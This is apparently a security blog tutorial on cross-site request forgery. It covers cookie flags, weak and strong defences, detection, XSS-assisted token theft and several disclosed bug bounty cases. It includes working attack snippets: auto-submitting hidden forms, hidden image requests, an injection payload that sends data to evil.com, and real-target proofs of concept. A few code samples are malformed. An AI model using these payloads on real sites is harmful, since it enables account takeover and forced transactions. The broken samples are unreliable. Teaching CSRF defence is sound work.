Understanding Cross-Site Request Forgery (CSRF): How Attackers Hijack Your Sessions

Understanding Cross-Site Request Forgery (CSRF): How Attackers Hijack Your Sessions

Have you ever seen articles about how hackers stole data from major platforms using external applications? This type of data breach often exploits a fundamental mechanism of the modern web: the user session.

The Role of Sessions and Cookies in Web Security

How can these applications steal data from users? The process begins with how a user interacts with a website. When you first access an application, such as a social network like Facebook, you typically enter your credentials (username and password) only once. After that initial login, the application creates an identification mechanism, often referred to as a session, to track you as a continuous, logged-in user.

Why Cookies are Essential (and Vulnerable)

These sessions and other data — like your user ID or preferred language — need to be stored somewhere accessible during your browsing session. Usually, the best place to store them is in cookies.

Cookies are small text files stored temporarily on your computer by your web browser. They are designed to be accessed by the originating application. This is what allows you to avoid entering your username and password each time you access Facebook. You only need to do it once, and then when you revisit the site, Facebook asks your browser for the relevant cookie. If the browser has it, Facebook reads the session data stored within, and you are automatically logged into your account.

It is important to understand that you can access the cookie’s information directly in your web browser’s developer tools. This visibility, while useful for developers, highlights a core vulnerability.

The main problem is that cookies are not entirely controlled by the application server once they are on the client side (your computer). If a user, or even a third-party malicious application, manages to modify the cookie, the website (like Facebook) cannot definitively know whether the information stored in the cookie is real. The website can only determine whether it is valid, depending on the expected data structure, and confirm it using its internal session registers in its databases.

Consequently, if an attacker gains access to your session data stored in a cookie, they do not need your username or password to access your account. This model of session reliance is extended across all kinds of modern web applications, from banking platforms to e-commerce sites.

Introduction to Cross-Site Request Forgery (CSRF)

The vulnerabilities surrounding session management lead directly to a significant threat called Cross-Site Request Forgery (CSRF) (sometimes pronounced sea-surf).

CSRF is a type of vulnerability focused on attacking the user, tricking their browser into performing unintended actions on a legitimate application, using a fake or malicious origin (a website or email controlled by the attacker). To achieve this, CSRF takes advantage of all the possible information stored in the browser — specifically, the active session cookies — that could be used to perform the desired action without any further user interaction.

Imagine you are logged into your bank account. If an attacker can craft a malicious link or image tag on an entirely different website that, when loaded by your browser, executes a “transfer money” request to your bank, the bank’s server will treat it as a legitimate request because your browser automatically attaches your valid session cookie.

We will examine the security mechanisms designed to protect cookies, why CSRF continues to exist, how to detect and exploit CSRF (from a defensive, ethical perspective), and the importance of cross-domain policies.

Crucial Defenses: Protecting Session Cookies

Due to cookies being fully controllable from the client side, there are crucial mechanisms to protect them from malicious extraction or modification. Implementing these defenses is mandatory for any secure web application.

The Secure Flag

The Secure flag is an HTTP header attribute that an application server can include when a cookie is sent in the HTTP response. Its purpose is to protect the cookie from channel interception (eavesdropping).

Basically, the use of this flag forces applications to send cookies only over HTTPS connections. This ensures that the cookie data is encrypted in transit, significantly reducing the risk of a man-in-the-middle attack where an attacker might try to read the session data.

The HttpOnly Flag

The HttpOnly flag is another critical attribute included in the cookie header response. Its primary goal is to avoid scripting attacks, specifically Cross-Site Scripting (XSS), from extracting information from the cookies.

For example, in the past, it was very common for hackers to use XSS attacks to execute JavaScript code that would read the user’s session cookie data and send it to the attacker. Using HttpOnly, the cookie can only be consulted by the web browser itself, and not by external or internal scripts (like JavaScript). This forms a powerful layer of defense against session theft.

The Inherent Problem: Why CSRF Exists

Even with robust cookie protections like Secure and HttpOnly, a core vulnerability persists: What happens if the original application is tricked into doing an unexpected action while you have a session established with it?

Is it possible for your trusted browser, using your trusted session cookie, to make a malicious request to a trusted site?

Yes, for sure. And from the application’s point of view, it is not an error. The application server simply receives a seemingly valid request, complete with a valid session cookie, and executes the action. The server has no inherent way to know that the request was forged by an attacker on a different website, rather than intentionally initiated by the user on the legitimate site. This is the fundamental mechanism that Cross-Site Request Forgery exploits.

Let’s illustrate this with the Facebook example:

Josefina is a Facebook user who logged in with her username and password. Facebook created a unique session ID and stored it in a cookie, which is managed by Josefina’s browser. A week later, when Josefina accessed Facebook again, she did not need to enter her credentials. The browser automatically sent the session ID stored in the cookie to Facebook, and Josefina gained access to her account.

Later, Josefina used an external game linked within Facebook. The business logic she was interacting with did not reside on Facebook’s servers. After finishing the game, Josefina returned to her account and noticed posts on her wall about a dubious product. All of these posts appeared to be made by her, yet she never authored them.

What happened?

The external game, controlled by an attacker, used the active and valid session cookie stored in Josefina’s browser to execute a POST request to Facebook’s server. In Facebook’s eyes, because the request included a valid, authenticated session cookie, it was a completely valid action initiated by the user “Josefina.”

In simple terms, this is a CSRF attack — in this case, one without huge consequences. However, just imagine the massive impact if a highly sensitive application, such as an online bank, a casino, or a trading application, allowed a CSRF attack. An attacker could force a user to transfer funds, change a password, or execute a damaging trade simply by having them visit an infected webpage.

Exploiting CSRF: GET and POST Requests

Cross-Site Request Forgery attacks generally target actions that use common HTTP request methods: GET and POST. The method used dictates the attacker’s approach.

GET CSRF: The Hidden Image

Many web applications are configured to execute actions — like transferring funds or changing settings — using an HTTP GET request, where the parameters are passed directly in the URL (query string).

When looking at the network traffic (for example, in an HTTP proxy), you would see an external resource called, and it’s important to pay attention to the information sent. All the parameters sent in the URL could be used by the method, for example:

https://www.mysocialnetwork.com/ process. php?from=rick&to=morty&credits=10008000

In this URL, we can clearly see that the application is sending all of the transaction parameters directly. For the attacker, the main goal is simply to execute the request in the victim’s browser. To do that, the most common and effective method is to include the malicious request in an <img> tag on an external website, without the user ever knowing it:

<img src="https:// www.mysocialnetwork.com/ process. php?from=rick&to=morty&credits=10008000" style="display:none">

The result is that when the HTML page containing this <img> tag is parsed (read and rendered) by the browser, the browser attempts to fetch the image source. This triggers the external request to mysocialnetwork.com/process.php. Because the user is logged into that site, the browser automatically includes the valid session cookie, and the attack (the forced transfer of “credits”) is executed. Other tags, and even JavaScript, can be used to execute the GET request silently.

POST CSRF: The Invisible Form Submission

When the application uses the HTTP POST request, the parameters are typically sent in the body of the request, not the URL. This requires the attacker to have more information and a slightly more complex technique to perform a CSRF attack.

The following is an example of what a valid POST request might look like:

POST / process. php HTTP/1.1
Host: www.mysocialnetwork.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0
Content-Length: [Number of characters in the body]
Content-Type: application/x-www-form-urlencoded
Connection: close

from=Rick&to=Morty&amount=10008000

To exploit this, the attacker must create a malicious form on their own external page to submit the required parameters in hidden fields. Using the previous example, a form to exploit the vulnerability could be the following:

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='https:// www.mysocialnetwork.com/ process.php?' target="csrf-frame" id="csrf-form">
    <input type='hidden' name='from' value='Rick'>
    <input type='hidden' name='to' value='Morty'>
    <input type='hidden' name='amount' value='10008000'>
    <input type='submit' value='submit'>
</form>
<script>
    // Automatically submits the form when the page loads
    document.getElementById("csrf-form").submit()
</script>

When a user visits the attacker’s page, the idea is that they do not see the hidden form values. While some security controls might require user interaction, the inclusion of a simple JavaScript code snippet forces the form to submit automatically once the website is loaded.

What is happening here? The user’s interaction with the form is irrelevant; the purpose is simply to have the page opened. When the JavaScript code sends the form, the browser automatically includes the cookie with all the session data and user information in the POST request, resulting in the execution of the valid, yet forced, transaction.

To ensure the attack is silent, the attacker often uses the <iframe> tag set to display:none to prevent the user from seeing the malicious page or the resulting response from the legitimate server. This maintains the user’s ignorance while the attack is executed in the background.

Defenses That Can Be Bypassed: CSRF-Unsafe Protections

Not all CSRF countermeasures are equally effective. Currently, modern security protection is being implemented to avoid CSRF attacks, and most of the frequently used development frameworks, such as Java Struts, .NET, Ruby on Rails, and PHP, include robust anti-CSRF tokens by default. However, some older, simpler, or poorly implemented methods can easily be bypassed, and it is important to know about them to avoid relying on them.

1. Secret Cookies

Some developers attempt to include a secondary cookie with a specific value to validate that the request received by the application comes from a valid source. However, this method is fundamentally flawed.

We must remember that the main problem with session cookies is that they are always stored on the client side (the user’s browser). If a malicious site can force the browser to submit a request, it can also potentially access and submit the content of this “secret” validation cookie alongside the session cookie. These cookies often work more as a redundant session identifier than a true anti-CSRF token; they are effectively just like adding two session IDs instead of one.

2. Request Restrictions (Limiting to POST)

Since it is relatively easy to identify a vulnerable method included in a GET request (as all parameters are visible in the URL), some developers try to limit the type of request received by the application to just accept POST requests for critical actions.

However, as we reviewed earlier, it is entirely possible to exploit a CSRF vulnerability using POST requests by embedding a hidden, auto-submitting form on an external page. Restricting the method from GET to POST merely complicates the attack slightly; it does not prevent it.

3. Complex Application Flow

Some developers create complex application flows to avoid these kinds of attacks, for example, by requiring a multi-step process or a confirmation page for critical actions (e.g., “Are you sure you want to transfer $100? Click Confirm”).

While this adds friction, it only increases the number of steps required for the attacker. Ultimately, an attacker can use an HTTP proxy (a tool used to intercept and analyze traffic) to understand how the process works and craft a series of chained CSRF attacks to complete the entire complex flow automatically, not just automating one single step. The security weakness remains.

4. URL Rewriting

To confuse attackers, some developers may rewrite the URLs used in the request, often using what are sometimes called “magic URLs” — URLs that are shortened or formatted differently to look cleaner or better when managing long paths.

However, since all the necessary parameters and paths are still sent within the request, the attacker can simply observe the traffic using a proxy, copy the rewritten URL and its parameters, and use the exact same information to perform the CSRF attack. This is security through obscurity (making the system hard to understand, not inherently secure) and is ineffective.

5. Using HTTPS Instead of HTTP

While using HTTPS is essential for security (as it encrypts the communication channel and prevents session theft via network eavesdropping), it does not prevent a CSRF attack.

The proxy intercepts all information before it leaves the client machine, or it can be configured to intercept the decrypted traffic. Crucially, the fundamental vulnerability — the browser automatically including the valid session cookie with the forged request — is independent of whether the request is encrypted via HTTPS. HTTPS protects the data in transit, not the authenticity of the request’s origin.

CSRF – Robust and Safe Protections

If the preceding listed controls do not work, there are others that do work and are included in modern development toolkits and security standards. These methods focus on validating the origin and intent of the request.

1. Synchronizer Tokens (Anti-CSRF Tokens)

The most widely accepted and extended security control to avoid CSRF is the use of Synchronizer Tokens. These tokens are usually unique, unpredictable, and secret identifiers that are:

  • Generated by the server.
  • Embedded in a hidden field within the legitimate HTML form (or sent as a custom request header).
  • Also stored on the server side (often associated with the user’s session).
  • Sent with the request, where the server compares the token in the request with the one stored in the session.

If the request is forged by an attacker, they will not know the unique, secret token, and the request will be rejected. These tokens can also include secret data, such as a hash of the user’s session ID, to further protect the requests.

2. Form Keys

A form key is essentially an early form of a synchronizer token. It is a key included in each request to a specific URL. If a malicious user attempts to submit a forged request using a repeated or invalid key, the application immediately identifies the attack and rejects the request.

3. Hashes

It is possible to add hashes for key session elements, methods, or parameters. By hashing key components and sending the hash along with the request, the server can re-calculate the hash to verify that the key parameters have not been tampered with and that the request is valid.

4. View State (e.g., in .NET)

Frameworks like .NET have implemented a control known as View State which tracks the user session and the state of the page. Crucially, it includes specific controls to avoid manipulation and a cryptographically strong hash to protect it. While complex, its design prevents attackers from simply guessing or replaying a submission, as the View State data often changes with each page load.

5. Referer Header Validation

The HTTP requests have a header known as the Referer (sic). You can use this header to instruct the application to prevent requests from unexpected sites. The server checks the Referer header to ensure the request is coming from a trusted domain (i.e., its own domain).

However, developers should not rely solely on this control because, as noted, attackers can sometimes modify headers or exploit scenarios where the Referer header is stripped by the browser or network configuration. Remember that you can generally modify anything you want from the client side using proxy tools, including this header. It should be used as a supplementary defense, not the primary mechanism.

Detecting and Exploiting CSRF

To effectively detect Cross-Site Request Forgery (CSRF) flaws in an application, a security professional or ethical hacker must adopt a systematic mapping approach. The goal is to comprehensively navigate through the entire application, cataloging every request and response.

The Detection Process

  1. Map All Methods: Identify all called methods, paying special attention to those that trigger state-changing actions (e.g., changing an email address, submitting an order, or transferring funds). Determine the significance of each method based on the kind of processing it executes.
  2. Analyze Request Structure: Investigate how these methods are called. Note the HTTP method used (GET or POST), which parameters are sent to the application, and where those parameters are located (URL query string, POST body, etc.).
  3. Check for Anti-CSRF Protection: Determine if any anti-CSRF protection is present. If it is, identify the type of protection and check if it aligns with one of the vulnerable protections (like simple Referer checks or secret cookies) reviewed earlier.
  4. Look for Protection Errors: Even if protection is currently implemented (such as a token), try to find an implementation error. For instance, the required anti-CSRF token might be inadvertently exposed in a different, less secure request, allowing an attacker to scrape the information they need to successfully forge the main request.

You can use the Site map tab in security tools like Burp Suite (or any other HTTP proxy) to quickly detect all resources that are called, especially those that interact with other domains, which often indicates potential points of vulnerability.

Additionally, always examine the requests to check what information is stored in the cookies. There are numerous extensions and tools that can be used to easily modify the cookies stored in your web browser, allowing you to include custom session data or testing values as needed.

Creating CSRF Exploitation Templates

Once a vulnerability is confirmed, security researchers can create simple CSRF templates to automate the exploitation and confirm the weakness.

As a bug bounty hunter or penetration tester, you do not need to create highly complex, visually deceptive forms to confirm the vulnerability. You only need a basic form or tag that successfully calls the vulnerable method in the target application.

A basic template for a GET-based CSRF exploit might look like this:

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='GET' action='https://www.targetsite.com/ change_email .php' target="csrf-frame" id="csrf-poc-form">
    <input type='hidden' name='new_email' value='hacker@example.com'>
    <input type='hidden' name='user_id' value='12345'>
</form>
<script>
    // Automatically submit the form to exploit the vulnerability
    document.getElementById("csrf-poc-form").submit();
</script>

This simple structure can be used and modified according to the specific scenario, proving the flaw without needing to interact with the victim.

Avoiding Problems with Authentication

Practically all CSRF attacks depend on the user having an established and active session, which is necessary to perform actions using the privileged access defined in the user’s profile.

However, as discussed in the section on unsafe protections, some developers include secondary confirmations to perform highly sensitive actions, requiring the user to supply more information than just the session cookie.

One of the most common features that requires this kind of confirmation is the change password functionality. An attacker might successfully exploit a CSRF to upload a new password, but the application could defensively ask for the current password in order to accept the change. Basically, this confirmation acts as a new, secondary authentication step within the primary authenticated session.

In these cases where the application asks for additional parameters (like an old password), you simply need to add those required parameters to the form being used to exploit the vulnerability.

For a proof-of-concept (PoC), the code might involve templating or using a tool to dynamically inject known or test credentials, such as:

{# CSRF PoC for a password change that requires the current password #}
{% set csrf = false %}
{% set target_url = 'https:// github.com/securestate/king-phisher' %}
{% do
 request.parameters.update({
 'username': request.parameters['username'],
 'current_password': 'user_current_password',  // Added parameter
 'new_password': 'hacked_new_password'         // Added parameter
 })
%}

From the bug bounty hunter’s point of view, this is generally not a significant problem, because the goal is simply to confirm that the vulnerability is exploitable by adding the necessary, predictable parameters. The issue is far greater for malicious users, who would need to create complex forms that appear legitimate to their victims, often employing social engineering tactics to trick the victims into unknowingly supplying the extra required parameters (like their current password) to avoid detection.

XSS – CSRF’s Best Friend: Defeating Anti-CSRF Tokens

If an application is using an anti-CSRF protection mechanism, and it appears to be well-implemented, it doesn’t necessarily mean the end of the attack vector. It may still be possible to defeat the anti-CSRF protection if we can successfully exploit a Cross-Site Scripting (XSS) vulnerability alongside it. This technique is highly effective because XSS allows an attacker to control the victim’s browser within the context of the trusted application, completely bypassing the need for a token.

The XSS-CSRF Synergy

An XSS attack involves sending a URL or POST request containing a malicious payload (usually JavaScript) to the victim. If the application is vulnerable to CSRF but has an anti-CSRF token protection, the key goal of the XSS payload is not to inject code for execution, but to read and retrieve the token needed for other requests.

Here’s a summary of how an XSS attack can be leveraged to defeat token-based protection:

  • Reading Tokens via Stored XSS: A Stored XSS vulnerability is launched by the application itself (since the malicious code is permanently stored on the server). Any legitimate response launched by the application, including the initial page load, will contain the anti-CSRF token within the HTML. The XSS payload can be designed to execute first, read the token from the Document Object Model (DOM) of the page, and then send the token to the attacker’s server, providing the key needed to forge subsequent requests.
  • Exploiting Multi-Step Flows: In applications that have more than one step to perform a critical action (e.g., a multi-page checkout), it is common for the anti-CSRF protection to have been just included in the final, critical step. If an attacker can perform an XSS attack in one of the unprotected sections (e.g., the first step), it is often possible to get the token or hash used for the critical second step. The XSS attack simply follows the application’s natural flow to acquire the token before the final, protected submission is made.
  • Targeting Authentication-Bound Protections: When the anti-CSRF protection is related to a value not stored in the user’s session (e.g., requiring a username/password confirmation), the attacker needs the user’s credentials, not just the token. In this difficult scenario, an XSS attack becomes one of the last opportunities: it can be used to steal the login information (via a phishing form or similar technique), and at the same time, retrieve the token by having the victim’s browser execute the logic application itself.

Cross-Domain Policies: The Same-Origin Challenge

As you can see, CSRF has the unique ability to execute actions in an application from other domains. An attacker does not need to inject code into the target application to perform these actions; they just need the victim’s browser to execute the forged request from another location to the target application.

To mitigate this fundamental threat, developers created the Same-Origin Policy (SOP).

The Same-Origin Policy (SOP)

The Same-Origin Policy is a critical security mechanism built into modern web browsers. It dictates that a script or request loaded from one “origin” (a combination of protocol, domain, and port) cannot interact with resources from another origin.

For example, a script on https://mybank.com can only interact with other resources on https://mybank.com. While SOP limits the application’s ability to easily expose a general API to external sites, it is highly effective for consuming services internally and prevents malicious interaction.

However, there are techniques that attackers use to execute a CSRF attack despite the application being protected by a Same-Origin Policy.

Bypassing SOP for CSRF Exploitation

1. HTML Injection

If the Same-Origin Policy states that all actions need to be performed from a specific domain, the attacker’s goal is to inject HTML code into a part of the application that resides on the target domain to execute the actions from within that trusted context.

These HTML injections don’t necessarily need to be in a traditional, vulnerable form field. Sometimes, the injections can occur in allowed or lesser-secured places, such as an internal board message or an email template where a user can add some HTML content.

Consider this scenario:

...
<form action="http:// testsite.com/form" method="POST">
    <input type="hidden" name="user_data" value="Some value from http://o thersite.net/capture?html=[INJECTION HERE]">
</form>
...

If an application is susceptible to an HTML injection in a field that is then included in the form’s data, an attacker can use this vector. For instance, by providing a payload like:

..."><img src="https:// evil.com/capture?data=...

If the application tries to validate the domain, it will believe the request is generated from testsite.com (the trusted domain), even though the hidden malicious content was sourced or triggered by the attacker’s server (othersite.net). The attack is executed under the legitimate origin.

2. JavaScript Hijacking

The Same-Origin Policy also restricts the scripts executed on a website. A request generated by a script must follow SOP rules.

To execute a request using JavaScript that avoids the same-origin restriction (for a CSRF PoC), the attacker must ensure that the script code itself is executed within the context of the target domain. This is often achieved by injecting the script (again, via XSS or HTML Injection) into the target application.

For example, a function that makes an HTTP request might look like this:

function sendRequest() {
    const Http = new XMLHttpRequest();
    const url = 'https: // jsonplaceholder.typicode.com/posts'; // Target endpoint
    Http.open("GET", url);
    Http.send();
    Http.onreadystatechange = (e) => {
        console.log(Http.responseText);
    };
}
// Malicious code
// ...code to inject the above function into the target domain...
// ...code to call sendRequest();

When this JavaScript function is injected into and loaded by the vulnerable website, the code is executed as part of the same domain. This execution context allows the script to make requests that comply with the Same-Origin Policy, and crucially, the browser will include the user’s session cookie for the target domain, enabling the CSRF attack.

A Real-World Example

To solidify our understanding of CSRF, let’s review a real-world vulnerability that was reported through a bug bounty platform. This case demonstrates how a simple GET request vulnerability in an API can have significant consequences.

Shopify: CSRF in the export_installed_users Method

On December 7th, 2015, bug bounty hunter Harishkumar successfully reported a CSRF vulnerability to Shopify, one of the leading e-commerce platforms. The weakness resided in a method contained within the Shopify API.

The specific method analyzed by Harishkumar was related to exporting user information, often used by app developers on the Shopify platform.

The vulnerable code structure appeared similar to this (although the actual code would be more complex):

<form method='GET' action='/ admin/api/export_installed_users' id='export-form'>
    <input type='hidden' name='action' value='export'>
    <input type='hidden' name='format' value='csv'>
</form>

As you can see, the export_installed_users method was called by an HTTP GET request using the action parameter within a form structure. This means that when the method was called, the user’s active session and all available information about their installed applications were used to execute the request.

Harishkumar took advantage of the missing anti-CSRF token and the use of the easily exploitable GET method to perform the attack. By embedding a simple <img> tag or a hidden form on an external, attacker-controlled page, he could force any logged-in administrator to unknowingly trigger the export of data, which was a serious breach of privacy and confidentiality. Shopify confirmed and fixed the issue promptly.

Actionable Tips for Discovering CSRF Vulnerabilities

As an ethical hacker or security professional, you can use the following tips to discover vulnerabilities like the one reported on Shopify:

  • Analyze Request and Response Headers: Scrutinize all HTTP requests and responses, explicitly looking for missing CSRF token protection. Check for tokens that should appear in the request body, URL, or custom headers. If there is no token present for a state-changing action, it is highly possible to exploit the vulnerability.
  • Inspect All URLs and Endpoints: Carefully check the URLs that are involved in each request, especially those referenced in HTML forms or executed via client-side JavaScript. Pay close attention to calls made to APIs (Application Programming Interfaces), as these are often overlooked and lack the same built-in protections as standard application pages.
  • Prioritize GET Requests: Always test state-changing functions that use the HTTP GET method first, as these are the easiest to exploit using simple image tags or links.

Shopify Twitter Disconnect

To conclude our review of real-world CSRF vulnerabilities, we examine a case that highlights the danger of using GET requests for critical account actions, even when interacting with external APIs.

Shopify and the Twitter Disconnect Flaw

On February 1st, 2016, security researcher Akhil Reni published details of a CSRF vulnerability discovered in Shopify. This flaw allowed a malicious user to force any logged-in administrator or merchant to disconnect their Shopify profile from their linked Twitter account without their knowledge or consent.

The core of the vulnerability was found in the request responsible for initiating the disconnection process:

GET / auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
...
Cookie: _twittercommerce_session=[session ID]...
...

From this captured request, we can clearly see that the application was calling the disconnect method using an HTTP GET request. While this method is part of a flow that interacts with the Twitter API, the critical weakness was on the Shopify side. If you try to access this method directly without a session, the server will send an error message, because it requires a previously established session. This essential session is stored in the Cookie header, which is automatically sent with the request by the user’s browser.

Akhil Reni used the following simple Proof of Concept (PoC) to exploit the vulnerability:

<img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">

The Power of the <img> Tag

This snippet of code demonstrates one of the most common and silent CSRF exploitation methods: including the malicious request in an <img> tag.

This is a very interesting technique because all resources requested by a browser (even an image) are executed as GET requests. If you look at your HTTP proxy when visiting any webpage, each time an application requests an image, it appears as a GET request. By placing the vulnerable URL (/auth/twitter/disconnect) in the image source attribute, the browser is tricked into executing the request.

  • Result: The browser attempts to fetch the “image” from the malicious URL.
  • Automatic Action: The browser automatically includes the victim’s valid session cookie for twitter-commerce.shopifyapps.com.
  • Attack Execution: The server receives the authenticated request and performs the action — disconnecting the Twitter account.
  • Final State: The request will likely fail to retrieve a valid image and cause a harmless error display in the developer console, but the primary action (the disconnection) will have already been successfully executed.

The key tip to find vulnerabilities such as this is to meticulously look at how all methods are called in each request, and test all state-changing ones for a missing anti-CSRF token, particularly those using GET.

Badoo Full Account Takeover

Our final real-world example demonstrates a highly critical vulnerability: a full account takeover achieved by combining a CSRF weakness with a lapse in anti-CSRF token protection.

Badoo: Hijacking Accounts via Recovery Link

On April 12th, 2016, bug bounty hunter Mahmoud G. published a report detailing a critical vulnerability in Badoo, a popular dating and social networking platform. Using a clever CSRF attack, an attacker could add their own recovery email (such as a Gmail account) to any Badoo user’s profile, effectively allowing them to hijack the target user’s account via the password reset mechanism.

The core weakness was discovered in the endpoint used when a user added an external account (like Gmail) to their Badoo profile:

https://eu1.badoo.com/google/verify.phtml?rt=&code=

Unlike the previous straightforward CSRF vulnerabilities we reviewed, in this case, the request included an rt parameter. This parameter is a type of anti-CSRF token designed to protect the request from being forged. The server would check this token to ensure the request originated from a valid Badoo page.

The Token Bypass: Finding the Secret in a .js File

The attacker’s challenge was to find the value of this secret rt token. Mahmoud G. meticulously reviewed each request and every file loaded by the application until they found the value hidden within a seemingly innocuous static file — a .js file (JavaScript file).

The value was found in a script defining a variable, making it predictable and globally accessible on the client side:

var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=';

Because this JavaScript file was loaded by the browser, the attacker could easily retrieve the static rt value. This completely defeated the token’s purpose and provided the final element needed to forge a legitimate-looking request.

The Attack Execution

With all the elements — the vulnerable endpoint, the static rt token, and the ability to force a GET request — Mahmoud G. wrote a proof of concept to exploit the vulnerability.

By tricking a victim into loading an image whose source pointed to the vulnerable endpoint with the leaked rt token and the attacker’s Gmail account appended, the victim’s browser, with its active Badoo session, executes the request. The server accepts the request because it includes the required, though easily bypassed, rt token. The attacker’s Gmail is then linked as a recovery account to the victim’s Badoo profile. After a user linked the external account, the modification was done, leading to a full account takeover via password reset.

Key Tip: Tokens in Unexpected Places

The most critical takeaway from this vulnerability is a key tip for both defense and offensive security:

Sometimes, anti-CSRF tokens are used to protect information, not just in the case of CSRF, but in many other security scenarios. When a token is required, always check to see if its value is stored in other files — even files that are not seemingly important for the application, such as a generic .js or .css file. Any token that is static, predictable, or readable globally on the client side is a failed defense.

Total
4
Shares

Leave a Reply

Previous Post
How to Install DVWA on Kali Linux: Complete Step-by-Step Guide

How to Install DVWA on Kali Linux: Complete Step-by-Step Guide

Next Post
Finding the Flaws No Tool Can See A Deep Dive into Application Logic Vulnerabilities

Finding the Flaws No Tool Can See: A Deep Dive into Application Logic Vulnerabilities

Related Posts